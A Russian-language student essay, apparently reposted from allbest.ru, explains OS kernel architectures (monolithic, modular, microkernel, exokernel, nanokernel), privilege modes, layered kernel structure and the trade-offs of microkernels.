Взаимодействие ядра операционной системы с ее компонентами

Размещено на http://www.allbest.ru/

Введение

В данной работе рассмотрены аспекты функционирования и взаимодействия ядра операционной системы с другими ее компонентами.

Операционная система (ОС) - это комплекс взаимосвязанных системных программ, организующий взаимодействие пользователя с компьютером и выполнение всех других программ. ОС выполняет роль связующего звена между аппаратными компонентами компьютера, выполняемыми программами и пользователем. ОС обычно хранится во внешней памяти компьютера - на диске. При включении компьютера она считывается с дисковой памяти и размещается в ОЗУ. Этот процесс называется загрузкой ОС.

В различных моделях компьютеров используют ОС с разной архитектурой и возможностями. Для их работы требуются разные ресурсы. Каждая ОС имеет свой командный язык, который позволяет пользователю выполнять различные действия, такие как обращение к каталогу, запуск программы, выполнение разметки внешних носителей. Анализ и исполнение команд пользователя, включая загрузку готовых программ из файлов в оперативную память и их запуск, осуществляет командный процессор ОС. Для управления внешними устройствами компьютера используются специальные системные программы - драйверы. Драйверы стандартных устройств образуют в совокупности базовую систему ввода-вывода (BIOS), которая обычно заносится в постоянное запоминающее устройство компьютера.

Ядро - центральная часть ОС, обеспечивающая приложениям координированный доступ к ресурсам компьютера, таким как процессорное время, память и внешнее аппаратное обеспечение. Также ядро предоставляет сервисы файловой системы и сетевых протоколов и выполняет следующие функции:

· управляет всей операционной системой;

· содержит драйверы устройств, подпрограммы управления памятью, планировщик заданий;

· реализует системные вызовы.

Как основополагающий элемент ОС, ядро представляет собой наиболее низкий уровень абстракции для доступа приложений к ресурсам системы, необходимым для его работы. Как правило, ядро предоставляет такой доступ исполняемым процессам соответствующих приложений за счёт использования механизмов межпроцессного взаимодействия и обращения приложений к системным вызовам ОС.

1. Основные функции ядра

Ядро ОС содержит программы для реализации следующих функций:

· обработка прерываний;

· создание и уничтожение процессов;

· переключение процессов в различные состояния;

· диспетчирование;

· приостановка и активизация процессов;

· синхронизация процессов;

· организация взаимодействия между процессами;

· манипулирование блоками управления процессами;

· поддержка операций ввода-вывода;

· поддержка распределения и перераспределения памяти;

· поддержка работы файловой системы;

· поддержка механизма вызова-возврата при обращении к процедурам;

· поддержка определенных функций по ведению учета работы машины.

1.1 Монолитное ядро

Монолитное ядро - один из первых способов организации ОС. Примером систем с монолитным ядром является большинство Unix-систем. Все части монолитного ядра работают в одном адресном пространстве. Старые монолитные ядра требовали перекомпиляции при любом изменении состава оборудования. Большинство современных ядер позволяют во время работы подгружать модули, выполняющие части функции ядра.

Достоинства такого подхода - скорость работы и упрощённая разработка модулей. Недостатки: поскольку всё ядро работает в одном адресном пространстве, сбой в одном из компонентов может нарушить работоспособность всей системы. В этом случае компоненты ОС являются не самостоятельными модулями, а составными частями одной большой программы. Такая структура ОС называется монолитным ядром (monolithic kernel). Монолитное ядро ОС представляет собой набор процедур, каждая из которых может вызвать каждую. Все процедуры работают в привилегированном режиме.

Во многих ОС с монолитным ядром сборка ядра, то есть его компиляция, осуществляется отдельно для каждого компьютера, на который устанавливается операционная система. При этом можно выбрать список оборудования и программных протоколов, поддержка которых будет включена в ядро. Так как ядро ОС является единой программой, перекомпиляция - это единственный способ добавить в него новые компоненты или исключить неиспользуемые. Следует отметить, что присутствие в ядре лишних компонентов крайне нежелательно, так как ядро ОС полностью располагается в оперативной памяти. Кроме того, исключение ненужных компонентов повышает надежность ОС в целом.

Если в ОС с таким ядром вылетит какой-либо процесс, то он может быть автоматически перезапущен, а с цельным ядром в случае вылетания процесса, входящего в состав ядра, надо перезапускать всё ядро. В частности, монолитное ядро ОС более производительно, чем микроядро, поскольку состоит не из множества процессов, «общающихся» между собой, а работает как один большой процесс.

Монолитным ядром является еще и Linux. Оно оптимизировано для более высокой производительности с минимальными контекстными переключениями. Такая архитектура упрощает поддержку кода ядра для разработчиков, но требует перекомпиляции ядра при добавлении новых устройств. Следует отметить, что описанные здесь различия являются «классическими», на практике монолитные ядра могут поддерживать модульность (что зачастую и происходит), а микроядра могут требовать перекомпиляции.

Примеры ОС, использующих ядро данного типа:

· Традиционные ядра UNIX(сетевые операционные системы), такие как BSD и Linux;

· MS DOS.

1.2 Модульное ядро

Модульное ядро - современная, усовершенствованная модификация архитектуры монолитных ядер ОС компьютеров. В отличие от «классических» монолитных ядер, считающихся ныне устаревшими, модульные ядра, как правило, не требуют полной перекомпиляции ядра при изменении состава аппаратного обеспечения компьютера. Вместо этого модульные ядра предоставляют тот или иной механизм подгрузки модулей ядра, поддерживающих то или иное аппаратное обеспечение (например, драйверов). При этом подгрузка модулей может быть как динамической (выполняемой «на лету», без перезагрузки ОС, в работающей системе), так и статической (выполняемой при перезагрузке ОС после переконфигурирования системы на загрузку тех или иных модулей). Все модули ядра работают в адресном пространстве ядра и могут пользоваться всеми функциями, предоставляемыми ядром. Поэтому модульные ядра продолжают оставаться монолитными. Модульные ядра предоставляют особый программный интерфейс (API) для связывания модулей с ядром, для обеспечения динамической подгрузки и выгрузки модулей. В свою очередь, не любая программа может быть сделана модулем ядра: на модули ядра накладываются определённые ограничения в части используемых функций (например, они не могут пользоваться функциями стандартной библиотеки С/С++ и должны использовать специальные аналоги, являющиеся функциями API ядра). Кроме того, модули ядра обязаны экспортировать определённые функции, нужные ядру для правильного подключения и распознавания модуля, его корректной инициализации при загрузке и корректного завершения при выгрузке, регистрации модуля в таблице модулей ядра и обращения из ядра к сервисам, предоставляемым модулем.

Достоинство такого подхода: устойчивость к сбоям оборудования, к ошибкам в компонентах системы. Недостаток - передача данных между процессами требует дополнительных расходов процессорного времени.

Остальные компоненты системы взаимодействуют друг с другом путем передачи сообщений через микроядро.

1.3 Микроядро

Микроядро предоставляет только элементарные функции управления процессами и минимальный набор абстракций для работы с оборудованием. Большая часть работы осуществляется с помощью специальных пользовательских процессов, называемых сервисами.

Достоинства и недостатки такие же, как у модульных ядер.

Классические микроядра предоставляют лишь очень небольшой набор низкоуровневых примитивов, или системных вызовов, реализующих базовые сервисы ОС.

Сюда относятся:

· управление адресным пространством оперативной памяти.

· управление адресным пространством виртуальной памяти.

· управление процессами и тредами (нитями, потоками).

· средства межпроцессной коммуникации.

Все остальные сервисы ОС, в классических монолитных ядрах предоставляемые непосредственно ядром, в микроядерных архитектурах реализуются в адресном пространстве пользователя (Ring3) и называются сервисами. Примерами таких сервисов, выносимых в пространство пользователя в микроядерных архитектурах, являются сетевые сервисы, файловая система, драйверы. Такая конструкция позволяет улучшить общее быстродействие системы.

Современная тенденция в разработке ОС состоит в перенесении значительной части системного кода на уровень пользователя и одновременной минимизации ядра. Речь идет о подходе к построению ядра, называемом микроядерной архитектурой (microkernel architecture) ОС, когда большинство ее составляющих являются самостоятельными программами. В этом случае взаимодействие между ними обеспечивает специальный модуль ядра, называемый микроядром. Микроядро работает в привилегированном режиме и обеспечивает взаимодействие между программами, планирование использования процессора, первичную обработку прерываний, операции ввода-вывода и базовое управление памятью. Остальные компоненты системы взаимодействуют друг с другом путем передачи сообщений через микроядро.

Основное достоинство микроядерной архитектуры - высокая степень модульности ядра ОС. Это существенно упрощает добавление в него новых компонентов. В микроядерной операционной системе можно, не прерывая ее работы, загружать и выгружать новые драйверы, файловые системы и т. д. Существенно упрощается процесс отладки компонентов ядра, так как новая версия драйвера может загружаться без перезапуска всей ОС. Компоненты ядра ОС ничем принципиально не отличаются от пользовательских программ, поэтому для их отладки можно применять обычные средства. Микроядерная архитектура повышает надежность системы, поскольку ошибка на уровне непривилегированной программы менее опасна, чем отказ на уровне режима ядра. Чтобы добавить в ОС с микроядром драйвер того или иного устройства, не надо перекомпилировать всё ядро, а надо лишь отдельно откомпилировать этот драйвер и запустить его в пользовательском пространстве.

Примеры ОС, использующих данный тип ядра:

· Symbian OS;

· Mach, используемый в GNU/Hurd и Mac OS X;

· Windows CE;

· QNX;

· AIX;

· Minix ;

· ChorusOS ;

· AmigaOS;

· MorphOS

1.4 Экзоядро

Экзоядро - ядро ОС компьютеров, предоставляющее лишь функции для взаимодействия между процессами и безопасного выделения и освобождения ресурсов. Предполагается, что API для прикладных программ будут предоставляться внешними по отношению к ядру библиотеками (отсюда и название архитектуры).

Возможность доступа к устройствам на уровне контроллеров позволит эффективней решать некоторые задачи, которые плохо вписываются в рамки универсальной ОС, например, реализация СУБД будет иметь доступ к диску на уровне секторов диска, а не файлов и кластеров, что положительно скажется на быстродействии.

1.5 Наноядро

Наноядро - архитектура ядра ОС компьютеров, в рамках которой крайне упрощённое и минимизированное ядро выполняет лишь одну задачу, - обработку аппаратных прерываний, генерируемых устройствами компьютера. После обработки прерываний от аппаратуры наноядро, в свою очередь, посылает информацию о результатах обработки (например, полученные с клавиатуры символы) вышестоящему программному обеспечению при помощи того же механизма прерываний. Примером является KeyKOS - самая первая ОС на наноядре. Первая версия вышла ещё в 1983 году.

2. Ядро и вспомогательные модули ОС

Наиболее общим подходом к структуризации ОС является разделение всех ее модулей на две группы:

· Ядро - модули, выполняющие основные функции ОС;

· Модули, выполняющие вспомогательные функции ОС. (рис.2.1).

Рис. 2.1 Нечеткость границы между ОС и приложениями

Вспомогательные модули ОС обычно подразделяются на следующие группы:

· утилиты - программы, решающие отдельные задачи управления и сопровождения компьютерной системы, такие, например, как программы сжатия дисков, архивирования данных на магнитную ленту;

· системные обрабатывающие программы - текстовые или графические редакторы, компиляторы, компоновщики, отладчики;

· программы предоставления пользователю дополнительных услуг - специальный вариант пользовательского интерфейса, калькулятор и даже игры;

· библиотеки процедур различного назначения, упрощающие разработку приложений, например библиотека математических функций, функций ввода- вывода и т. д.

Как и обычные приложения, для выполнения своих задач утилиты, обрабатывающие программы и библиотеки ОС, обращаются к функциям ядра посредством системных вызовов (рис.2.2). Разделение ОС на ядро и модули-приложения обеспечивает легкую расширяемость ОС. Чтобы добавить новую высокоуровневую функцию, достаточно разработать новое приложение, и при этом не требуется модифицировать ответственные функции, образующие ядро системы. Однако внесение изменений в функции ядра может оказаться гораздо сложнее, и сложность эта зависит от структурной организации самого ядра. В некоторых случаях каждое исправление ядра может потребовать его полной перекомпиляции.

Рис. 2.2 Взаимодействие между ядром и вспомогательными модулями ОС

Модули ОС, оформленные в виде утилит, системных обрабатывающих программ и библиотек, обычно загружаются в оперативную память только на время выполнения своих функций, то есть являются транзитными. Постоянно в оперативной памяти располагаются только самые необходимые коды ОС, составляющие ее ядро. Такая организация ОС экономит оперативную память компьютера. Важным свойством архитектуры ОС, основанной на ядре, является возможность защиты кодов и данных ОС за счет выполнения функций ядра в привилегированном режиме.

2.1 Ядро в привилегированном режиме

Обеспечить привилегии ОС невозможно без специальных средств аппаратной поддержки. Аппаратные средства компьютера должны поддерживать как минимум два режима работы - пользовательский (user mode) и привилегированный, который также называют режимом ядра (kernel mode), или режимом супервизора (supervisor mode). Подразумевается, что ОС или некоторые ее части работают в привилегированном режиме, а приложения в пользовательском режиме. Так как ядро выполняет все основные функции ОС, то чаще всего именно ядро становится той частью ОС, которая работает в привилегированном режиме. Иногда это свойство работы в привилегированном режиме - служит основным определением понятия «ядро».

Приложения ставятся в подчиненное положение за счет запрета выполнения в пользовательском режиме некоторых критичных команд, связанных с переключением процессора с задачи на задачу, управлением устройствами ввода-вывода, доступом к механизмам распределения и защиты памяти. Выполнение некоторых инструкций в пользовательском режиме запрещается (очевидно, что к таким инструкциям относится инструкция перехода в привилегированный режим), тогда как другие запрещается выполнять только при определенных условиях. Например, инструкции ввода-вывода могут быть запрещены приложениям при доступе к контроллеру жесткого диска, который хранит данные, общие для ОС и всех приложений, но разрешены при доступе к последовательному порту, который выделен в монопольное владение для определенного приложения. Важно, что условия разрешения выполнения критичных инструкций находятся под полным контролем ОС и этот контроль обеспечивается за счет набора инструкций, безусловно запрещенных для пользовательского режима.

Аналогичным образом обеспечиваются привилегии ОС при доступе к памяти. Например, выполнение инструкции доступа к памяти для приложения разрешается, если инструкция обращается к области памяти, отведенной данному приложению операционной системой, и запрещается при обращении к областям памяти, занимаемым ОС или другими приложениями. Полный контроль ОС над доступом к памяти достигается за счет того, что инструкция или инструкции конфигурирования механизмов защиты памяти разрешается выполнять только в привилегированном режиме.

Очень важно, что механизмы защиты памяти используются операционной системой не только для защиты своих областей памяти от приложений, но и для защиты областей памяти, выделенных ОС какому-либо приложению, от остальных приложений. Говорят, что каждое приложение работает в своем адресном пространстве. Это свойство позволяет локализовать некорректно работающее приложение в собственной области памяти, так что его ошибки не оказывают влияния на остальные приложения и операционную систему.

Между количеством уровней привилегий, реализуемых аппаратно, и количеством уровней привилегий, поддерживаемых ОС, нет прямого соответствия. Так, на базе четырех уровней, обеспечиваемых процессорами компании Intel, операционная система О8/2 строит трехуровневую систему привилегий, а операционные системы Windows NT, UNIX и некоторые другие ограничиваются двухуровневой системой.

С другой стороны, если аппаратура поддерживает хотя бы два уровня привилегий, то ОС может на этой основе создать программным способом сколь угодно развитую систему защиты. Эта система может, например, поддерживать несколько уровней привилегий, образующих иерархию. Наличие нескольких уровней привилегий позволяет более тонко распределять полномочия, как между модулями ОС, так и между самими приложениями.

Появление внутри ОС более привилегированных и менее привилегированных частей позволяет повысить устойчивость ОС к внутренним ошибкам программных кодов, так как такие ошибки будут распространяться только внутри модулей с определенным уровнем привилегий.

На основе двух режимов привилегий процессора ОС может построить сложную систему индивидуальной защиты ресурсов, примером которой является типичная система защиты файлов и каталогов. Такая система позволяет задать для любого пользователя определенные права доступа к каждому из файлов и каталогов.

Повышение устойчивости ОС, обеспечиваемое переходом ядра в привилегированный режим, достигается за счет некоторого замедления выполнения системных вызовов. Системный вызов привилегированного ядра инициирует переключение процессора из пользовательского режима в привилегированный, а при возврате к приложению - переключение из привилегированного режима в пользовательский (рис. 2.3). Во всех типах процессоров из-за дополнительной двукратной задержки переключения переход на процедуру со сменой режима выполняется медленнее, чем вызов процедуры без смены режима.

Рис. 2.3 Смена режимов при выполнении системного вызова к привилегированному ядру

2.2 Многослойная структура ОС

Вычислительную систему, работающую под управлением ОС на основе ядра, можно рассматривать как систему, состоящую из трех иерархически расположенных слоев: нижний слой образует аппаратура, промежуточный - ядро, а утилиты, обрабатывающие программы и приложения, составляют верхний слой системы (рис. 2.4). Слоистую структуру вычислительной системы принято изображать в виде системы концентрических окружностей, иллюстрируя тот факт, что каждый слой может взаимодействовать только со смежными слоями. Действительно, при такой организации ОС приложения не могут непосредственно взаимодействовать с аппаратурой, а только через слой ядра.

Рис. 2.4 Трехслойная схема вычислительной системы

Многослойный подход является универсальным и эффективным способом декомпозиции сложных систем любого типа, в том числе и программных. В соответствии с этим подходом система состоит из иерархии слоев. Каждый слой обслуживает вышележащий слой, выполняя для него некоторый набор функций, которые образуют межслойный интерфейс (рис. 2.5). На основе функций нижележащего слоя следующий (вверх по иерархии) слой строит свои функции - более сложные и более мощные, которые, в свою очередь, оказываются примитивами для создания еще более мощных функций вышележащего слоя. Строгие правила касаются только взаимодействия между слоями системы, а между модулями внутри слоя связи могут быть произвольными. Отдельный модуль может выполнить свою работу либо самостоятельно, либо обратиться к другому модулю своего слоя, либо обратиться за помощью к нижележащему слою через межслойный интерфейс.

Такая организация системы имеет много достоинств. Она существенно упрощает разработку системы, так как позволяет сначала определить 4-х «сверху вниз» функции слоев и межслойные интерфейсы, а затем при детальной реализации постепенно наращивать мощность функций слоев, двигаясь «снизу вверх». Кроме того, при модернизации системы можно изменять модули внутри слоя без необходимости производить какие-либо изменения в остальных слоях, если при этих внутренних изменениях межслойные интерфейсы остаются в силе.

Рис. 2.5 Концепция многослойного взаимодействия

Поскольку ядро представляет собой сложный многофункциональный комплекс, то многослойный подход обычно распространяется и на структуру ядра. Ядро может состоять из следующих слоев.

Средства аппаратной поддержки ОС. До сих пор об операционной системе говорилось как о комплексе программ, но, вообще говоря, часть функций ОС может выполняться и аппаратными средствами. Поэтому иногда можно встретить определение ОС как совокупности программных и аппаратных средств, что и отражено на рис. 2.6. К операционной системе относят, естественно, не все аппаратные устройства компьютера, а только средства аппаратной поддержки ОС, то есть те, которые прямо участвуют в организации вычислительных процессов: средства поддержки привилегированного режима, систему прерываний, средства переключения контекстов процессов, средства защиты областей памяти и т. п.

Машинно-зависимые компоненты ОС. Этот слой образуют программные модули, в которых отражается специфика аппаратной платформы компьютера. В идеале этот слой полностью экранирует вышележащие слои ядра от особенностей аппаратуры. Это позволяет разрабатывать вышележащие слои на основе машинно-независимых модулей, существующих в единственном экземпляре для всех типов аппаратных платформ, поддерживаемых данной ОС. Примером экранирующего слоя может служить слой НАL. ОС Windows NT.

Базовые механизмы ядра. Этот слой выполняет наиболее примитивные операции ядра, такие как программное переключение контекстов процессов, диспетчеризацию прерываний, перемещение страниц из памяти на диск и обратно и т. п. Модули данного слоя не принимают решений о распределении ресурсов - они только отрабатывают принятые «наверху» решения, что и дает повод называть их исполнительными механизмами для модулей верхних слоев. Например, решение о том, что в данный момент нужно прервать выполнение текущего процесса А и начать выполнение процесса В, принимается менеджером процессов на вышележащем слое, а слою базовых механизмов передается только директива о том, что нужно выполнить переключение с контекста текущего процесса на контекст процесса В.

Менеджеры ресурсов. Этот слой состоит из мощных функциональных модулей, реализующих стратегические задачи по управлению основными ресурсами вычислительной системы. Обычно на данном слое работают менеджеры (называемые также диспетчерами) процессов, ввода-вывода, файловой системы и оперативной памяти. Разбиение на менеджеры может быть и несколько иным, например менеджер файловой системы иногда объединяют с менеджером ввода- вывода, а функции управления доступом пользователей к системе в целом и ее отдельным объектам поручают отдельному менеджеру безопасности. Каждый из менеджеров ведет учет свободных и используемых ресурсов определенного типа и планирует их распределение в соответствии с запросами приложений. Например, менеджер виртуальной памяти управляет перемещением страниц из оперативной памяти на диск и обратно. Менеджер должен отслеживать интенсивность обращений к страницам, время пребывания их в памяти, состояния процессов, использующих данные, и многие другие параметры, на основании которых он время от времени принимает решения о том, какие страницы необходимо выгрузить и какие - загрузить. для исполнения принятых решений менеджер обращается к нижележащему слою базовых механизмов с запросами о загрузке (выгрузке) конкретных страниц. Внутри слоя менеджеров существуют тесные взаимные связи, отражающие тот факт, что для выполнения процессу нужен доступ одновременно к нескольким ресурсам - процессору, области памяти, возможно, к определенному файлу или устройству ввода-вывода. Например, при создании процесса менеджер процессов обращается к менеджеру памяти, который должен выделить процессу определенную область памяти для его кодов и данных.

Интерфейс системных вызовов. Этот слой является самым верхним слоем ядра и взаимодействует непосредственно с приложениями и системными утилитами, образуя прикладной программный интерфейс ОС. Функции АРI, обслуживающие системные вызовы, предоставляют доступ к ресурсам системы в удобной и компактной форме, без указания деталей их физического расположения.

Рис. 2.6 Многослойная структура ядра ОС

Приведенное разбиение ядра ОС на слои является достаточно условным. В реальной системе количество слоев и распределение функций между ними может быть и иным. В системах, предназначенных для аппаратных платформ одного типа, например ОС NetWare, слой машинно-зависимых модулей обычно не выделяется, сливаясь со слоем базовых механизмов и, частично, со слоем менеджеров ресурсов. Не всегда оформляются в отдельный слой базовые механизмы - в этом случае менеджеры ресурсов не только планируют использование ресурсов, но и самостоятельно реализуют свои планы. Возможна и противоположная картина, когда ядро состоит из большего количества слоев. Например, менеджеры ресурсов, составляя определенный слой ядра, в свою очередь, могут обладать многослойной структурой. Прежде всего это относится к менеджеру ввода-вывода, нижний слой которого составляют драйверы устройств, например драйвер жесткого диска или драйвер сетевого адаптера, а верхние слои - драйверы файловых систем или протоколов сетевых служб, имеющие дело с логической организацией информации.

Выбор количества слоев ядра является ответственным и сложным делом: увеличение числа слоев ведет к некоторому замедлению работы ядра за счет дополнительных накладных расходов на межслойное взаимодействие, а уменьшение числа слоев ухудшает расширяемость и логичность системы. Обычно операционные системы, прошедшие долгий путь эволюционного развития, например многие версии 1.НIХ, имеют неупорядоченное ядро с небольшим числом четко выделенных слоев, а у сравнительно «молодых» ОС, таких как Windows NT, ядро разделено на большее число слоев и их взаимодействие формализовано в гораздо большей степени.

2.3 Микроядерная архитектура

Суть микроядерной архитектуры состоит в следующем. В привилегированном режиме остается работать только очень небольшая часть ОС, называемая микроядром (рис. 2.7). Микроядро защищено от остальных частей ОС и приложений. В состав микроядра обычно входят машинно-зависимые модули, а также модули, выполняющие базовые (но не все!) функции ядра по управлению процессами, обработке прерываний, управлению виртуальной памятью, пересылке сообщений и управлению устройствами ввода-вывода, связанные с загрузкой или чтением регистров устройств. Набор функций микроядра обычно соответствует функциям слоя базовых механизмов обычного ядра. Такие функции ОС трудно, если не невозможно, выполнить в пространстве пользователя.



Рис. 2.7 Перенос основного объема функций ядра в пользовательское пространство

Все остальные более высокоуровневые функции ядра оформляются в виде приложений, работающих в пользовательском режиме. Однозначного решения о том, какие из системных функций нужно оставить в привилегированном режиме, а какие перенести в пользовательский, не существует. В общем случае многие менеджеры ресурсов, являющиеся неотъемлемыми частями обычного ядра - файловая система, подсистемы управления виртуальной памятью и процессами, менеджер безопасности и т. п., становятся «периферийными» модулями, работающими в пользовательском режиме.

Работающие в пользовательском режиме менеджеры ресурсов имеют принципиальные отличия от традиционных утилит и обрабатывающих программ ОС, хотя при микроядерной архитектуре все эти программные компоненты также оформлены в виде приложений. Утилиты и обрабатывающие программы вызываются в основном пользователями. Ситуации, когда одному приложению требуется выполнение функции (процедуры) другого приложения, возникают крайне редко. Поэтому в ОСах с классической архитектурой отсутствует механизм, с помощью которого одно приложение могло бы вызвать функции другого.

Совсем другая ситуация возникает, когда в форме приложения оформляется часть ОС. По определению, основным назначением такого приложения является обслуживание запросов других приложений, например создание процесса, выделение памяти, проверка прав доступа к ресурсу и т. д. Именно поэтому менеджеры ресурсов, вынесенные в пользовательский режим, называются серверами ОС, то есть модулями, основным назначением которых является обслуживание запросов локальных приложений и других модулей ОС. Очевидно, что для реализации микроядерной архитектуры необходимым условием является наличие в операционной системе удобного и эффективного способа вызова процедур одного процесса из другого. Поддержка такого механизма и является одной из главных задач микроядра.

Схематично механизм обращения к функциям ОС, оформленным в виде серверов, выглядит следующим образом (рис. 2.8). Клиент, которым может быть либо прикладная программа, либо другой компонент ОС, запрашивает выполнение некоторой функции у соответствующего сервера, посылая ему сообщение. Непосредственная передача сообщений между приложениями невозможна, так как их адресные пространства изолированы друг от друга. Микроядро, выполняющееся в привилегированном режиме, имеет доступ к адресным пространствам каждого из этих приложений и поэтому может работать в качестве посредника. Микроядро сначала передает сообщение, содержащее имя и параметры вызываемой процедуры нужному серверу, затем сервер выполняет запрошенную операцию, после чего ядро возвращает результаты клиенту с помощью другого сообщения. Таким образом, работа микроядерной ОС соответствует известной модели клиент-сервер, в которой роль транспортных средств выполняет микроядро.



Рис 2.8 Реализация системного вызова в микроядерной архитектуры

2.4 Преимущества и недостатки микроядерной архитектуры

операционный ядро утилита модуль

Операционные системы, основанные на концепции микроядра, удовлетворяют большинству требований, предъявляемых к ней: но обладая переносимостью, расширяемостью, надежностью и предпосылки для поддержки распределенных приложений приходится платить снижением производительности, и это недостаток микроядерной архитектуры.

Высокая степень переносимости обусловлена тем, что весь машинно-зависимый код изолирован в микроядре, поэтому для переноса системы на новый процессор требуется меньше изменений и все они логически сгруппированы вместе.

Расширяемость присуща микроядерной ОС в очень высокой степени. В традиционных системах даже при наличии многослойной структуры нелегко удалить один слой и поменять его на другой по причине множественности и размытости интерфейсов между слоями, добавление новых функций и изменение существующих требует хорошего знания ОС и больших затрат времени. В то же время ограниченный набор четко определенных интерфейсов микроядра открывает путь к упорядоченному росту и эволюции ОС. Добавление новой подсистемы требует разработки нового приложения, что никак не затрагивает целостность микроядра. Микроядерная структура позволяет не только добавлять, но и сокращать число компонентов ОС, что также бывает очень полезно. Например, не всем пользователям нужны средства безопасности или поддержки распределенных вычислений, а удаление их из традиционного ядра чаще всего невозможно. Обычно традиционные операционные системы позволяют динамически добавлять в ядро или удалять из ядра только драйверы внешних устройств - ввиду частых изменений в конфигурации подключенных к компьютеру внешних устройств подсистема ввода- вывода ядра допускает загрузку и выгрузку драйверов «на ходу», но для этого она разрабатывается особым образом. При микроядерном подходе конфигурируемость ОС не вызывает никаких проблем и не требует особых мер - достаточно изменить файл с настройками начальной конфигурации системы или же остановить не нужные больше серверы в ходе работы обычными для остановки приложений средствами.

Использование микроядерной модели повышает надежность ОС. Каждый сервер выполняется в виде отдельного процесса в своей собственной области памяти, и таким образом, защищен от других серверов ОС, что не наблюдается в традиционной ОС, где все модули ядра могут влиять друг на друга. И если отдельный сервер терпит крах, то он может быть перезапущен без останова или повреждения остальных серверов ОС. Более того, поскольку серверы выполняются в пользовательском режиме, они не имеют непосредственного доступа к аппаратуре и не могут модифицировать память, в которой хранится и работает микроядро. другим потенциальным источником повышения надежности ОС является уменьшенный объем кода микроядра по сравнению с традиционным ядром - это снижает вероятность появления ошибок программирования.

Модель с микроядром хорошо подходит для поддержки распределенных вычислений, т.к. как использует механизмы, аналогичные сетевым: взаимодействие клиентов и серверов путем обмена сообщениями. Серверы микроядерной ОС могут работать как на одном, так и на разных компьютерах. В этом случае при получении сообщения от приложения микроядро может обработать его самостоятельно и передать локальному серверу или же переслать по сети микроядру, работающему на другом компьютере. Переход к распределенной обработке требует минимальных изменений в работе ОС - просто локальный транспорт заменяется на сетевой.

Производительность. При классической организации ОС (рис 2.9) выполнение системного вызова сопровождается двумя переключениями режимов, а при микроядерной организации (рис. 2.8) - четырьмя. Таким образом, операционная система на основе микроядра при прочих равных условиях всегда будет менее производительной, чем ОС с классическим ядром. Именно по этой причине микроядерный подход не получил такого широкого распространения, которое ему предрекали.

Рис. 2.9 Смена режимов при выполнении системного вызова

Этот пример иллюстрирует главную проблему, с которой сталкиваются разработчики ОС, решившие применить микроядерный подход, - что включать в микроядро, а что выносить в пользовательское пространство. В идеальном случае микроядро может состоять только из средств передачи сообщений, средств взаимодействия с аппаратурой, в том числе средств доступа к механизмам привилегированной защиты.

Однако многие разработчики не всегда жестко придерживаются принципа минимизации функций ядра, часто жертвуя этим ради повышения производительности.

В результате реализации ОС образуют некоторый спектр, на одном краю которого находятся системы с минимально возможным микроядром, а на другом - системы, подобные Windows NT, в которых микроядро выполняет достаточно большой объем функций.

3. Модули, выполняющие вспомогательные функции ОС

Наиболее общим подходом к структуризации является разделение всех ее модулей на две группы: ядро и вспомогательные модули. Ядро включает модули, выполняющие основные функции ОС:

· управление процессами;

· управление памятью;

· управление вводом-выводом и файловая система и прочие.

Функции ядра, которые могу вызываться приложениями, образуют интерфейс прикладного программирования API. Ядро работает в привилегированном режиме, и боль его модулей постоянно находится в памяти (резидентные). Разделение ОС на ядро и вспомогательные модули облегчает ее расширяемость. К вспомогательным модулям ОС относятся:

· Утилиты (сжатие, архивирование, проверка, дефрагментация и пр.)

· Системные обрабатывающие программы (редакторы, отладчики, компиляторы и пр.)

· Программы дополнительных услуг (игры, калькулятор и пр.)

· Библиотеки процедур (математических функций и пр.)

· Вспомогательные модули ОС загружаются в оперативную память только на время выполнения (транзитные модули)

Заключение

Простейшая структуризация ОС состоит в разделении всех компонентов ОС на модули, выполняющие основные функции ОС (ядро), и модули, выполняющие вспомогательные функции ОС. Вспомогательные модули ОС оформляются либо в виде приложений (утилиты и системные обрабатывающие программы), либо в виде библиотек процедур. Вспомогательные модули загружаются в оперативную память только на время выполнения своих функций, то есть являются транзитными. Модули ядра постоянно находятся в оперативной памяти, то есть являются резидентными.

При наличии аппаратной поддержки режимов с разными уровнями полномочий устойчивость ОС может быть повышена путем выполнения функций ядра в привилегированном режиме, а вспомогательных модулей ОС и приложений - в пользовательском. Это дает возможность защитить коды и данные ОС и приложений от несанкционированного доступа. ОС может выступать в роли арбитра в спорах приложений за ресурсы.

Ядро, являясь структурным элементом ОС, в свою очередь, может быть логически разложено на следующие слои (начиная с самого нижнего):

· машинно-зависимые компоненты ОС;

· базовые механизмы ядра;

· менеджеры ресурсов;

· интерфейс системных вызовов.

В многослойной системе каждый слой обслуживает вышележащий слой, выполняя для него некоторый набор функций, которые образуют межслойный интерфейс. На основе функций нижележащего слоя следующий вверх по иерархии слой строит свои функции - более сложные и более мощные, которые, в свою очередь, оказываются примитивами для создания еще более мощных функций вышележащего слоя. Многослойная организация ОС существенно упрощает разработку и модернизацию системы.

Переносимость ОС может быть достигнута при соблюдении следующих правил. Во-первых, большая часть кода должна быть написана на языке, трансляторы которого имеются на всех компьютерах, куда предполагается переносить систему. Во-вторых, объем машинно-зависимых частей кода, которые непосредственно взаимодействуют с аппаратными средствами, должен быть по возможности минимизирован. В-третьих, аппаратно-зависимый код должен быть надежно локализован в нескольких модулях.

Микроядерная архитектура является альтернативой классическому способу построения ОС, в соответствии с которым все основные функции ОС, составляющие многослойное ядро, выполняются в привилегированном режиме. В микроядерных ОС в привилегированном режиме остается работать только очень небольшая часть ОС, называемая микроядром. Все остальные высокоуровневые функции ядра оформляются в виде приложений, работающих в пользовательском режиме.

Микроядерные ОС удовлетворяют большинству требований, предъявляемых к современным ОС, обладая переносимостью, расширяемостью, надежностью и создавая хорошие предпосылки для поддержки распределенных приложений. За эти достоинства приходится платить снижением производительности, что является основным недостатком микроядерной архитектуры.

Прикладная программная среда - совокупность средств ОС, предназначенная для организации выполнения приложений, использующих определенную систему машинных команд, определенный тип API и определенный формат исполняемой программы. Каждая ОС создает как минимум одну прикладную программную среду. Проблема состоит в обеспечении совместимости нескольких программных сред в рамках одной ОС.

Важной особенностью многих ОС является способность их взаимодействия друг с другом, посредством сети, что позволяет компьютерам взаимодействовать друг с другом, как в рамках локальных вычислительных сетей (ЛВС), так и в глобальной сети Интернет.

Современные операционные системы, вновь создаваемые и обновленные версии существующих ОС, поддерживают полный набор протоколов для работы в локальной сети и в глобальной сети Интернет.

Источники

1. Дейтл, Г. Введение в операционные системы: литературный источник информации - 2-е изд. / Г. Дейтл. - Москва: 2003. - С. 553.

2. Лав, Р. Разработка ядра Linux (Linux Kernel Development). / Р. Лав. - 2-е изд. - М.: «Вильямс», 2006. - С. 448.

